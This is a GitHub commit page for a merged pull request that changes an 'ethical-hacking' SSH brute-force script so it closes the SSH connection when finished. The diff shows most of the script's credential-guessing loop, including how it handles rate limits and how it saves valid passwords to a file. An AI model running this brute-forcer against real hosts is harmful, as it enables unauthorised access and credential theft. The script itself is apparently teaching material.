Movatterモバイル変換


[0]ホーム

URL:


Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Commitce92525

Browse files
authored
Merge pull requestx4nth055#50 from mwoolweaver/patch-1
close ssh connection when done with it
2 parents6fd30ed +d4c969c commitce92525

File tree

1 file changed

+8
-5
lines changed

1 file changed

+8
-5
lines changed

‎ethical-hacking/bruteforce-ssh/bruteforce_ssh.py

Lines changed: 8 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -22,19 +22,22 @@ def is_ssh_open(hostname, username, password):
2222
exceptsocket.timeout:
2323
# this is when host is unreachable
2424
print(f"{RED}[!] Host:{hostname} is unreachable, timed out.{RESET}")
25-
returnFalse
25+
returning=False
2626
exceptparamiko.AuthenticationException:
2727
print(f"[!] Invalid credentials for{username}:{password}")
28-
returnFalse
28+
returning=False
2929
exceptparamiko.SSHException:
3030
print(f"{BLUE}[*] Quota exceeded, retrying with delay...{RESET}")
3131
# sleep for a minute
3232
time.sleep(60)
33-
returnis_ssh_open(hostname,username,password)
33+
returning=is_ssh_open(hostname,username,password)
3434
else:
3535
# connection was established successfully
3636
print(f"{GREEN}[+] Found combo:\n\tHOSTNAME:{hostname}\n\tUSERNAME:{username}\n\tPASSWORD:{password}{RESET}")
37-
returnTrue
37+
returning=True
38+
finally:
39+
client.close()
40+
returnreturning
3841

3942

4043
if__name__=="__main__":
@@ -56,4 +59,4 @@ def is_ssh_open(hostname, username, password):
5659
ifis_ssh_open(host,user,password):
5760
# if combo is valid, save it to a file
5861
open("credentials.txt","w").write(f"{user}@{host}:{password}")
59-
break
62+
break

0 commit comments

Comments
 (0)

[8]ページ先頭

©2009-2025 Movatter.jp